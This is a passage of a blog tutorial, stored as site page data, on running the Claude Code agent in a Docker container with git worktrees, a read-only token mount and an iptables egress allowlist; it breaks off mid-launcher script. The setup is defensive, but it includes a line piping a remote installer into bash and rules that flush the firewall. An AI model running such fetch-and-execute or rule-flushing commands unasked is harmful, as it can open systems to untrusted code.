{"componentChunkName":"component---src-templates-post-template-js","path":"/posts/claude-code-sandbox","result":{"data":{"markdownRemark":{"id":"17657059-a5e5-5075-88ff-3cd43913be44","html":"<p><img src=\"/media/claude-sandbox.jpg\" alt=\"Sandboxing Claude Code with worktrees and an egress firewall\"></p>\n<p>Letting an agent run with <code class=\"language-text\">rm</code>, <code class=\"language-text\">bash *</code>, and <code class=\"language-text\">gh pr create *</code> auto-approved is a productivity jump — right up until the moment the agent guesses wrong about which <code class=\"language-text\">rm -rf</code> it was meant to run. The fix isn’t a narrower allowlist; it’s a smaller blast radius. Drop Claude Code into a Linux container, mount only a throwaway <code class=\"language-text\">git worktree</code> of the repos it should edit, lock outbound traffic to a short allowlist, and suddenly the wide allowlist is a feature instead of a footgun.</p>\n<p>This post walks through the full setup end-to-end: installing Colima on macOS, building the sandbox image, an <code class=\"language-text\">iptables</code>-based egress firewall installed at container start, and a launcher script that creates a fresh ephemeral container plus per-session worktrees on every invocation — without making you re-login every time. You should be able to copy-paste your way from zero to a working sandbox in about fifteen minutes (plus ~5 minutes for the first image build).</p>\n<h2 id=\"1-install-colima-and-the-docker-cli\" style=\"position:relative;\"><a href=\"#1-install-colima-and-the-docker-cli\" aria-label=\"1 install colima and the docker cli permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>1. Install Colima and the Docker CLI</h2>\n<p>On macOS we don’t want Docker Desktop — it’s proprietary and its license gets awkward for commercial use above a small headcount. <a href=\"https://github.com/abiosoft/colima\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Colima</a> is MIT-licensed and boots a lightweight Linux VM that speaks the Docker API, so the regular <code class=\"language-text\">docker</code> CLI talks to it transparently.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token comment\"># Homebrew installs both; the docker CLI is a separate package from Docker Desktop.</span>\nbrew <span class=\"token function\">install</span> colima docker\n\n<span class=\"token comment\"># Boot the VM. --vm-type vz uses Apple's Virtualization.framework on Apple Silicon</span>\n<span class=\"token comment\"># (faster, less RAM); drop that flag on Intel Macs and it falls back to QEMU.</span>\ncolima start --cpu <span class=\"token number\">4</span> --memory <span class=\"token number\">4</span> --vm-type vz\n\n<span class=\"token comment\"># Verify: should print server + client versions, no \"Cannot connect\" error.</span>\ndocker info</code></pre></div>\n<p>If <code class=\"language-text\">docker info</code> errors with “Cannot connect to the Docker daemon,” Colima didn’t start cleanly — <code class=\"language-text\">colima status</code> will tell you why, usually either “not enough disk” or a stale socket from a previous <code class=\"language-text\">Docker Desktop</code> install. <code class=\"language-text\">colima delete &amp;&amp; colima start ...</code> is the reset button.</p>\n<p>Colima’s VM persists across reboots but not across <code class=\"language-text\">colima stop</code>. Once running, you can mostly forget it exists.</p>\n<h2 id=\"2-wire-up-github-auth-before-you-need-it\" style=\"position:relative;\"><a href=\"#2-wire-up-github-auth-before-you-need-it\" aria-label=\"2 wire up github auth before you need it permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>2. Wire up GitHub auth before you need it</h2>\n<p>The sandbox mounts <code class=\"language-text\">~/.config/gh</code> read-only, so <code class=\"language-text\">gh</code> and <code class=\"language-text\">git push</code> inside the container use whatever token your host user has. Create a <strong>fine-grained</strong> personal access token at <a href=\"https://github.com/settings/personal-access-tokens/new\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">https://github.com/settings/personal-access-tokens/new</a> — scope it to only the repos the agent should touch, grant <code class=\"language-text\">Contents: read/write</code> and <code class=\"language-text\">Pull requests: read/write</code>, leave everything else as <strong>No access</strong>.</p>\n<p>Stash the token in macOS Keychain rather than a plaintext dotfile, and export it from your shell rc so the launcher can forward it:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">security add-generic-password -a <span class=\"token string\">\"<span class=\"token environment constant\">$USER</span>\"</span> -s gh-token -w <span class=\"token string\">\"&lt;paste-token-once>\"</span>\n\n<span class=\"token function\">cat</span> <span class=\"token operator\">>></span> ~/.zshrc <span class=\"token operator\">&lt;&lt;</span><span class=\"token string\">'EOF'\nexport GH_TOKEN=$(security find-generic-password -s gh-token -w 2>/dev/null)\nEOF</span>\n\n<span class=\"token builtin class-name\">exec</span> <span class=\"token function\">zsh</span>\ngh auth status   <span class=\"token comment\"># should say: Logged in to github.com (GH_TOKEN)</span></code></pre></div>\n<p>Also make sure <code class=\"language-text\">~/.gitconfig</code> has your name + email — the container mounts it read-only, so commits inside inherit the host identity.</p>\n<h2 id=\"3-the-dockerfile\" style=\"position:relative;\"><a href=\"#3-the-dockerfile\" aria-label=\"3 the dockerfile permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>3. The Dockerfile</h2>\n<p>Debian slim base, non-root <code class=\"language-text\">agent</code> user whose uid/gid are injected at build time so bind-mounted files aren’t owned by root. Installs a pragmatic toolchain for most projects Claude Code will touch: Node 20 (for <code class=\"language-text\">claude</code> itself), Go 1.22, Python 3, <code class=\"language-text\">gh</code>, <code class=\"language-text\">ripgrep</code>, <code class=\"language-text\">jq</code>, <code class=\"language-text\">git</code>, and <code class=\"language-text\">build-essential</code> — trim or extend as needed. A system-wide gitconfig rewrites <code class=\"language-text\">git@github.com:...</code> SSH remotes to HTTPS on the fly so the credential helper can auth via <code class=\"language-text\">gh</code> — that way we don’t need to forward <code class=\"language-text\">~/.ssh</code> into the container at all.</p>\n<div class=\"gatsby-highlight\" data-language=\"dockerfile\"><pre class=\"language-dockerfile\"><code class=\"language-dockerfile\"><span class=\"token comment\"># sandbox/Dockerfile</span>\n<span class=\"token keyword\">FROM</span> debian<span class=\"token punctuation\">:</span>bookworm<span class=\"token punctuation\">-</span>slim\n\n<span class=\"token keyword\">ARG</span> DEBIAN_FRONTEND=noninteractive\n<span class=\"token keyword\">ARG</span> GO_VERSION=1.22.6\n<span class=\"token comment\"># Injected by run-agent.sh so the in-container user matches the host's uid/gid.</span>\n<span class=\"token keyword\">ARG</span> HOST_UID=1000\n<span class=\"token keyword\">ARG</span> HOST_GID=1000\n\n<span class=\"token comment\"># Base tooling — --no-install-recommends keeps the layer small.</span>\n<span class=\"token comment\"># iptables/ipset/dnsutils are required by init-firewall.sh, which runs</span>\n<span class=\"token comment\"># at container start to install the egress allowlist (see §4).</span>\n<span class=\"token keyword\">RUN</span> apt<span class=\"token punctuation\">-</span>get update &amp;&amp; apt<span class=\"token punctuation\">-</span>get install <span class=\"token punctuation\">-</span>y <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>no<span class=\"token punctuation\">-</span>install<span class=\"token punctuation\">-</span>recommends \\\n        ca<span class=\"token punctuation\">-</span>certificates curl gnupg \\\n        git \\\n        ripgrep jq make python3 \\\n        build<span class=\"token punctuation\">-</span>essential \\\n        iptables ipset dnsutils \\\n &amp;&amp; rm <span class=\"token punctuation\">-</span>rf /var/lib/apt/lists/*\n\n<span class=\"token comment\"># GitHub CLI — official apt repo.</span>\n<span class=\"token keyword\">RUN</span> curl <span class=\"token punctuation\">-</span>fsSL https<span class=\"token punctuation\">:</span>//cli.github.com/packages/githubcli<span class=\"token punctuation\">-</span>archive<span class=\"token punctuation\">-</span>keyring.gpg \\\n      <span class=\"token punctuation\">|</span> gpg <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>dearmor <span class=\"token punctuation\">-</span>o /usr/share/keyrings/githubcli<span class=\"token punctuation\">-</span>archive<span class=\"token punctuation\">-</span>keyring.gpg \\\n &amp;&amp; echo <span class=\"token string\">\"deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main\"</span> \\\n      <span class=\"token punctuation\">></span> /etc/apt/sources.list.d/github<span class=\"token punctuation\">-</span>cli.list \\\n &amp;&amp; apt<span class=\"token punctuation\">-</span>get update &amp;&amp; apt<span class=\"token punctuation\">-</span>get install <span class=\"token punctuation\">-</span>y <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>no<span class=\"token punctuation\">-</span>install<span class=\"token punctuation\">-</span>recommends gh \\\n &amp;&amp; rm <span class=\"token punctuation\">-</span>rf /var/lib/apt/lists/*\n\n<span class=\"token comment\"># Node 20 via NodeSource (Debian's nodejs package lags).</span>\n<span class=\"token keyword\">RUN</span> curl <span class=\"token punctuation\">-</span>fsSL https<span class=\"token punctuation\">:</span>//deb.nodesource.com/setup_20.x <span class=\"token punctuation\">|</span> bash <span class=\"token punctuation\">-</span> \\\n &amp;&amp; apt<span class=\"token punctuation\">-</span>get install <span class=\"token punctuation\">-</span>y <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>no<span class=\"token punctuation\">-</span>install<span class=\"token punctuation\">-</span>recommends nodejs \\\n &amp;&amp; rm <span class=\"token punctuation\">-</span>rf /var/lib/apt/lists/*\n\n<span class=\"token comment\"># Go from official tarball — apt version is too old for us.</span>\n<span class=\"token keyword\">RUN</span> set <span class=\"token punctuation\">-</span>eux; \\\n    arch=<span class=\"token string\">\"$(dpkg --print-architecture)\"</span>; \\\n    case <span class=\"token string\">\"$arch\"</span> in \\\n      amd64) goarch=amd64 ;; \\\n      arm64) goarch=arm64 ;; \\\n      *) echo <span class=\"token string\">\"unsupported arch $arch\"</span> <span class=\"token punctuation\">></span>&amp;2; exit 1 ;; \\\n    esac; \\\n    curl <span class=\"token punctuation\">-</span>fsSL <span class=\"token string\">\"https://go.dev/dl/go${GO_VERSION}.linux-${goarch}.tar.gz\"</span> \\\n      <span class=\"token punctuation\">|</span> tar <span class=\"token punctuation\">-</span>C /usr/local <span class=\"token punctuation\">-</span>xz\n<span class=\"token keyword\">ENV</span> PATH=<span class=\"token string\">\"/usr/local/go/bin:/home/agent/go/bin:${PATH}\"</span>\n<span class=\"token keyword\">ENV</span> GOPATH=/home/agent/go\n\n<span class=\"token comment\"># Claude Code CLI itself.</span>\n<span class=\"token keyword\">RUN</span> npm install <span class=\"token punctuation\">-</span>g @anthropic<span class=\"token punctuation\">-</span>ai/claude<span class=\"token punctuation\">-</span>code &amp;&amp; npm cache clean <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>force\n\n<span class=\"token comment\"># Egress firewall script — invoked by run-agent.sh as root via `docker</span>\n<span class=\"token comment\"># exec -u 0` after container start, before the agent user gets a shell.</span>\n<span class=\"token keyword\">COPY</span> init<span class=\"token punctuation\">-</span>firewall.sh /usr/local/bin/init<span class=\"token punctuation\">-</span>firewall.sh\n<span class=\"token keyword\">RUN</span> chmod 0755 /usr/local/bin/init<span class=\"token punctuation\">-</span>firewall.sh\n\n<span class=\"token comment\"># Rewrite SSH remotes to HTTPS and use gh as credential helper — avoids</span>\n<span class=\"token comment\"># needing to mount ~/.ssh at all.</span>\n<span class=\"token keyword\">RUN</span> printf <span class=\"token string\">'%s\\n'</span> \\\n    <span class=\"token string\">'[url \"https://github.com/\"]'</span> \\\n    <span class=\"token string\">'    insteadOf = git@github.com:'</span> \\\n    <span class=\"token string\">'[credential \"https://github.com\"]'</span> \\\n    <span class=\"token string\">'    helper = !gh auth git-credential'</span> \\\n    <span class=\"token punctuation\">></span> /etc/gitconfig\n\n<span class=\"token comment\"># Non-root user matching host uid/gid. macOS's gid 20 (staff) collides with</span>\n<span class=\"token comment\"># Debian's dialout group, so reuse the existing group when the gid is taken.</span>\n<span class=\"token keyword\">RUN</span> set <span class=\"token punctuation\">-</span>eux; \\\n    if ! getent group <span class=\"token string\">\"${HOST_GID}\"</span> <span class=\"token punctuation\">></span>/dev/null; then \\\n        groupadd <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>system <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>gid <span class=\"token string\">\"${HOST_GID}\"</span> agent; \\\n    fi; \\\n    useradd <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>system <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>uid <span class=\"token string\">\"${HOST_UID}\"</span> <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>gid <span class=\"token string\">\"${HOST_GID}\"</span> \\\n            <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>home<span class=\"token punctuation\">-</span>dir /home/agent <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>shell /bin/bash <span class=\"token punctuation\">-</span><span class=\"token punctuation\">-</span>create<span class=\"token punctuation\">-</span>home agent; \\\n    mkdir <span class=\"token punctuation\">-</span>p /workspace /home/agent/go; \\\n    chown <span class=\"token punctuation\">-</span>R <span class=\"token string\">\"${HOST_UID}:${HOST_GID}\"</span> /workspace /home/agent\n\n<span class=\"token comment\"># Tag the image with the baked-in uid so the launcher can detect stale</span>\n<span class=\"token comment\"># images when the host uid changes and rebuild automatically.</span>\n<span class=\"token keyword\">ENV</span> CLAUDE_SANDBOX_UID=$<span class=\"token punctuation\">{</span>HOST_UID<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">USER</span> agent\n<span class=\"token keyword\">WORKDIR</span> /workspace\n<span class=\"token keyword\">CMD</span> <span class=\"token punctuation\">[</span><span class=\"token string\">\"claude\"</span><span class=\"token punctuation\">]</span></code></pre></div>\n<p>Build it once manually to sanity-check — the launcher will rebuild automatically after this:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">docker build <span class=\"token punctuation\">\\</span>\n    --build-arg <span class=\"token assign-left variable\">HOST_UID</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token function\">id</span> -u<span class=\"token variable\">)</span></span>\"</span> <span class=\"token punctuation\">\\</span>\n    --build-arg <span class=\"token assign-left variable\">HOST_GID</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token function\">id</span> -g<span class=\"token variable\">)</span></span>\"</span> <span class=\"token punctuation\">\\</span>\n    -t claude-sandbox:latest sandbox/</code></pre></div>\n<p>First build takes ~2 minutes (mostly the Go tarball and <code class=\"language-text\">apt-get</code>). Subsequent builds hit the Docker layer cache and take seconds.</p>\n<h2 id=\"4-the-egress-firewall\" style=\"position:relative;\"><a href=\"#4-the-egress-firewall\" aria-label=\"4 the egress firewall permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>4. The egress firewall</h2>\n<p>If outbound network is wide open, a prompt-injection or a compromised npm package can exfiltrate <code class=\"language-text\">/workspace</code> or the mounted GH token to any attacker-controlled host. The fix is a one-shot script that runs as root inside the container at start: flush iptables, default-DROP <code class=\"language-text\">OUTPUT</code>, then ACCEPT only TCP/443 to an <code class=\"language-text\">ipset</code> populated by resolving a short list of hostnames at install time.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token shebang important\">#!/usr/bin/env bash</span>\n<span class=\"token comment\"># sandbox/init-firewall.sh — runs as root inside the container, called</span>\n<span class=\"token comment\"># by run-agent.sh via `docker exec -u 0` before the agent gets a shell.</span>\n<span class=\"token builtin class-name\">set</span> -euo pipefail\n\n<span class=\"token assign-left variable\">ALLOWED_DOMAINS</span><span class=\"token operator\">=</span><span class=\"token punctuation\">(</span>\n    api.anthropic.com statsig.anthropic.com sentry.io\n    registry.npmjs.org registry.yarnpkg.com\n    proxy.golang.org sum.golang.org\n    github.com api.github.com codeload.github.com\n    objects.githubusercontent.com ghcr.io\n    <span class=\"token comment\"># …add hosts your project actually needs (PyPI, GCP, internal APIs, etc.)</span>\n<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Reset state so reruns are idempotent.</span>\niptables -F<span class=\"token punctuation\">;</span> iptables -X\niptables -t nat -F<span class=\"token punctuation\">;</span> iptables -t nat -X\nipset list allowed-domains <span class=\"token operator\">></span>/dev/null <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span><span class=\"token file-descriptor important\">&amp;1</span> <span class=\"token operator\">&amp;&amp;</span> ipset destroy allowed-domains\nipset create allowed-domains hash:net family inet hashsize <span class=\"token number\">1024</span> maxelem <span class=\"token number\">65536</span>\n\n<span class=\"token comment\"># Loopback + replies + DNS (so we can resolve allowlisted hosts at runtime).</span>\niptables -A INPUT  -i lo -j ACCEPT\niptables -A OUTPUT -o lo -j ACCEPT\niptables -A INPUT  -m state --state ESTABLISHED,RELATED -j ACCEPT\niptables -A OUTPUT -p udp --dport <span class=\"token number\">53</span> -j ACCEPT\niptables -A OUTPUT -p tcp --dport <span class=\"token number\">53</span> -j ACCEPT\n\n<span class=\"token comment\"># Resolve each host, dump every v4 IP into the ipset.</span>\n<span class=\"token keyword\">for</span> <span class=\"token for-or-select variable\">host</span> <span class=\"token keyword\">in</span> <span class=\"token string\">\"<span class=\"token variable\">${ALLOWED_DOMAINS<span class=\"token punctuation\">[</span>@<span class=\"token punctuation\">]</span>}</span>\"</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">do</span>\n    <span class=\"token assign-left variable\">ips</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\"><span class=\"token variable\">$(</span>getent ahosts <span class=\"token string\">\"<span class=\"token variable\">${host}</span>\"</span> <span class=\"token operator\">|</span> <span class=\"token function\">awk</span> <span class=\"token string\">'{print <span class=\"token variable\">$1</span>}'</span> <span class=\"token punctuation\">\\</span>\n        <span class=\"token operator\">|</span> <span class=\"token function\">grep</span> -E <span class=\"token string\">'^[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+$'</span> <span class=\"token operator\">|</span> <span class=\"token function\">sort</span> -u <span class=\"token operator\">||</span> <span class=\"token boolean\">true</span><span class=\"token variable\">)</span></span>\"</span>\n    <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> -z <span class=\"token string\">\"<span class=\"token variable\">${ips}</span>\"</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">&amp;&amp;</span> <span class=\"token punctuation\">{</span> <span class=\"token builtin class-name\">echo</span> <span class=\"token string\">\"[firewall] WARN: <span class=\"token variable\">${host}</span> did not resolve\"</span><span class=\"token punctuation\">;</span> <span class=\"token builtin class-name\">continue</span><span class=\"token punctuation\">;</span> <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">while</span> <span class=\"token assign-left variable\"><span class=\"token environment constant\">IFS</span></span><span class=\"token operator\">=</span> <span class=\"token builtin class-name\">read</span> -r <span class=\"token function\">ip</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">do</span> ipset <span class=\"token function\">add</span> allowed-domains <span class=\"token string\">\"<span class=\"token variable\">${ip}</span>\"</span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span>/dev/null <span class=\"token operator\">||</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">done</span> <span class=\"token operator\">&lt;&lt;&lt;</span><span class=\"token string\">\"<span class=\"token variable\">${ips}</span>\"</span>\n<span class=\"token keyword\">done</span>\n\n<span class=\"token comment\"># Permit only tcp/443 (and tcp/80 for redirects) to anything in the ipset.</span>\niptables -A OUTPUT -p tcp --dport <span class=\"token number\">443</span> -m <span class=\"token builtin class-name\">set</span> --match-set allowed-domains dst -j ACCEPT\niptables -A OUTPUT -p tcp --dport <span class=\"token number\">80</span>  -m <span class=\"token builtin class-name\">set</span> --match-set allowed-domains dst -j ACCEPT\n\n<span class=\"token comment\"># Lock down defaults.</span>\niptables -P INPUT DROP<span class=\"token punctuation\">;</span> iptables -P FORWARD DROP<span class=\"token punctuation\">;</span> iptables -P OUTPUT DROP\n\n<span class=\"token comment\"># Sanity check — `-f` would fail on a 404, which still proves we reached</span>\n<span class=\"token comment\"># the host, so use `-sS` so any HTTP response counts as success.</span>\n<span class=\"token function\">curl</span> -sS --max-time <span class=\"token number\">5</span> -o /dev/null https://api.anthropic.com <span class=\"token punctuation\">\\</span>\n    <span class=\"token operator\">||</span> <span class=\"token punctuation\">{</span> <span class=\"token builtin class-name\">echo</span> <span class=\"token string\">\"[firewall] api.anthropic.com unreachable\"</span><span class=\"token punctuation\">;</span> <span class=\"token builtin class-name\">exit</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span> <span class=\"token punctuation\">}</span>\n<span class=\"token operator\">!</span> <span class=\"token function\">curl</span> -sS --max-time <span class=\"token number\">5</span> -o /dev/null https://example.com <span class=\"token operator\"><span class=\"token file-descriptor important\">2</span>></span>/dev/null <span class=\"token punctuation\">\\</span>\n    <span class=\"token operator\">||</span> <span class=\"token punctuation\">{</span> <span class=\"token builtin class-name\">echo</span> <span class=\"token string\">\"[firewall] example.com is reachable (should be blocked)\"</span><span class=\"token punctuation\">;</span> <span class=\"token builtin class-name\">exit</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span> <span class=\"token punctuation\">}</span></code></pre></div>\n<p>A few subtle points worth flagging:</p>\n<ul>\n<li><strong>Resolve through the container’s resolver, not <code class=\"language-text\">dig</code>.</strong> Using <code class=\"language-text\">getent ahosts</code> picks up whatever <code class=\"language-text\">/etc/resolv.conf</code> is set to (usually Docker’s embedded DNS at <code class=\"language-text\">127.0.0.11</code>), so allowlisted IPs match what the container will actually resolve at runtime.</li>\n<li><strong>Keep DNS itself open.</strong> A lot of hosts behind CDNs rotate IPs frequently; resolving once at install and pinning those IPs is fine for a few hours, but DNS has to stay open so libcurl can re-resolve when a tarball is fetched from a new edge.</li>\n<li><strong>The container needs <code class=\"language-text\">--cap-add NET_ADMIN --cap-add NET_RAW</code></strong> for <code class=\"language-text\">iptables</code> to work. We still <code class=\"language-text\">--cap-drop ALL</code> first, then add only those two back. The agent user (non-root) can’t modify the rules afterwards.</li>\n</ul>\n<h2 id=\"5-the-launcher\" style=\"position:relative;\"><a href=\"#5-the-launcher\" aria-label=\"5 the launcher permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>5. The launcher</h2>\n<p>The launcher’s job is now bigger than it was. Each invocation:</p>\n<ol>\n<li>Provisions a <code class=\"language-text\">git worktree</code> per repo under <code class=\"language-text\">~/.cache/claude-sandbox/sessions/&lt;id&gt;/</code> so the agent never touches the host’s real working tree.</li>\n<li>Starts a fresh ephemeral container (<code class=\"language-text\">--rm</code>); session bind-mounts point at the worktree, not at the real checkouts.</li>\n<li>Installs the firewall as root, then drops into the agent user.</li>\n<li>On exit, prunes worktrees that have no uncommitted changes and keeps the rest for manual recovery.</li>\n</ol>\n<p>OAuth still survives across these ephemeral sessions because Claude Code’s persistent state lives on the <em>host</em> (in <code class=\"language-text\">~/.claude/</code> and <code class=\"language-text\">~/.claude.json</code>) and we mount both into the container. There’s a real gotcha there — see §6.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token shebang important\">#!/usr/bin/env bash</span>\n<span class=\"token comment\"># sandbox/run-agent.sh — launch Claude Code in an ephemeral, per-session sandbox.</span>\n<span class=\"token builtin class-name\">set</span> -euo pipefail\n\n<span class=\"token assign-left variable\">IMAGE</span><span class=\"token operator\">=</span><span class=\"token string\">\"claude-sandbox:latest\"</span>\n<span class=\"token assign-left variable\">SANDBOX_DIR</span><span class=\"token operator\">=</span><span class=\"token string\">\"$(cd \"<span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token function\">dirname</span> <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">BASH_SOURCE</span><span class=\"token punctuation\">[</span>0<span class=\"token punctuation\">]</span>}</span>\"</span><span class=\"token variable\">)</span></span>\"</span> <span class=\"token operator\">&amp;&amp;</span> <span class=\"token builtin class-name\">pwd</span><span class=\"token punctuation\">)</span><span class=\"token string\">\"\nMASTER_DIR=\"</span><span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token builtin class-name\">cd</span> <span class=\"token string\">\"<span class=\"token variable\">${SANDBOX_DIR}</span>/..\"</span> <span class=\"token operator\">&amp;&amp;</span> <span class=\"token builtin class-name\">pwd</span><span class=\"token variable\">)</span></span><span class=\"token string\">\"\nSESSIONS_ROOT=\"</span><span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.cache/claude-sandbox/sessions<span class=\"token string\">\"\n\ndie() { printf 'error: %s<span class=\"token entity\" title=\"\\n\">\\n</span>' \"</span><span class=\"token variable\">$*</span><span class=\"token string\">\" >&amp;2; exit 1; }\n\n# --- Preflight ----------------------------------------------------------\ncommand -v docker >/dev/null 2>&amp;1 || die \"</span><span class=\"token function\">install</span> colima + docker first<span class=\"token string\">\"\ndocker info      >/dev/null 2>&amp;1 || die \"</span>colima not running — <span class=\"token string\">'colima start'</span>\"\n<span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> -n <span class=\"token string\">\"<span class=\"token variable\">${GH_TOKEN<span class=\"token operator\">:-</span>}</span>\"</span> <span class=\"token operator\">||</span> -d <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.config/gh\"</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token punctuation\">\\</span>\n    <span class=\"token operator\">||</span> die <span class=\"token string\">\"no GH_TOKEN and no ~/.config/gh — set up GitHub auth first\"</span>\n<span class=\"token comment\"># See §6 — without ~/.claude.json mounted, every session re-runs first-run setup.</span>\n<span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span> -e <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.claude.json\"</span> <span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">||</span> <span class=\"token function\">touch</span> <span class=\"token string\">\"<span class=\"token variable\">${<span class=\"token environment constant\">HOME</span>}</span>/.claude.json\"</span>\n\n<span class=\"token assign-left variable\">HOST_UID</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\"><span class=\"token variable\">$(</span><span class=\"token function\">id</span> -u<span class=\"token variable\">)</span></span>\"</span><span class=\"token punctuation\">;</span> <span class=\"token assign-left variable\">HOST_GID</span><span class=\"token operator\">=</span><span class=\"token string\">\"<span class=\"token variable\"><span 